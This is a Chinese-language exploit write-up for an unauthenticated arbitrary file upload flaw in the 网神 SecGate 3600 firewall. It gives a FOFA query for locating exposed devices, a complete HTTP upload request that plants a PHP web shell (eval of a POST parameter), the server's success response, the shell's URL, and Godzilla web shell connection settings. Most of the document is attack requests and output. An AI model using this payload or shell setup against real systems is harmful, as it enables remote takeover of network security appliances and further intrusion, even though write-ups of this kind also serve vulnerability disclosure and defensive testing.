

Q1-11奇安信-网神SecSSL3600-文件上传

漏洞描述:

网神 SecGate 3600 防火墙 obj_app_upfile 接口存在任意文件上传漏洞, 未经授权的攻击者通过漏洞可以上传任意文件, 获取服务器权限。

网站图片:



网络测绘:

fofa语法:

FOFA: fid="1Lh1LH6yfkhiO83I59AYg=="

漏洞复现:

payload:

```
POST /?g=obj_app_upfile HTTP/1.1
Host: your-ip
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 574
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbCBbQc
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

-----WebKitFormBoundaryJpMyThWnAxbCBbQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
-----WebKitFormBoundaryJpMyThWnAxbCBbQc
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: text/plain

马子
-----WebKitFormBoundaryJpMyThWnAxbCBbQc
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
-----WebKitFormBoundaryJpMyThWnAxbCBbQc
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
-----WebKitFormBoundaryJpMyThWnAxbCBbQc--
```

效果图:

上传哥斯拉马子

Request

< > 数据包扫描 热加载 构造请求

1 POST /?g=obj_app_upfile HTTP/1.1

2 Host: .

3 Accept: */*

4 Accept-Encoding: gzip, deflate

5 Content-Length: 574

6 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc

7 User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

8

9 -----WebKitFormBoundaryJpMyThWnAxbcBBQc

10 Content-Disposition: form-data; name="MAX_FILE_SIZE"

11

12 10000000

13 -----WebKitFormBoundaryJpMyThWnAxbcBBQc

14 Content-Disposition: form-data; name="upfile"; filename="1.php"

15 Content-Type: text/plain

16

17 <?php

18 eval(\$_POST["pass"]);

19

20 -----WebKitFormBoundaryJpMyThWnAxbcBBQc

21 Content-Disposition: form-data; name="submit_post"

22

23 obj_app_upfile

24 -----WebKitFormBoundaryJpMyThWnAxbcBBQc

25 Content-Disposition: form-data; name="__hash__"

26

27 0b9d6b1ab7479ab69d9f71b05e0e9445

28 -----WebKitFormBoundaryJpMyThWnAxbcBBQc--

Responses https 3511bytes / 99ms

1 HTTP/1.1 302 Found

2 Set-Cookie: __s_sessionid__

3 Expires: Thu, 19 Nov 1981 0

4 Cache-Control: no-store, no

5 Pragma: no-cache

6 location: /?permission_err

7 Content-type: text/html; ch

8 Connection: close

9 Date: Thu, 10 Aug 2023 13:2

10 Content-Length: 3511

11

12 File is valid, and was succ

13 Array

14 (

15 [upfile] => Array

16 (

17 [name] => 1.php

18 [type] => text/

19 [tmp_name] => /

20 [error] => 0

21 [size] => 30

22)

23

24)

25 <!DOCTYPE html PUBLIC "-//W

26 xhtml/DTD/xhtml1-transitio

27 <html xmlns="http://www.w3.

28 <head>

29 <meta http-equiv="Content-T

30 <meta name="author" content

31 <link rel="shortcut icon" t

32 <title>网神SecGate 3600防火

验证url

https://your-ip/attachements/1.php

尝试连接

Shell Setting

基础配置 请求配置

URL	389/attachements/1.php
密码	pass
密钥	key
连接超时	3000
读取超时	提示
代理主机	
代理端口	
备注	
GROUP	
代理类型	NO_PROXY
编码	UTF-8
有效载荷	PhpDynamicPayload
加密器	PHP_EVAL_XOR_BASE64
添加 测试连接	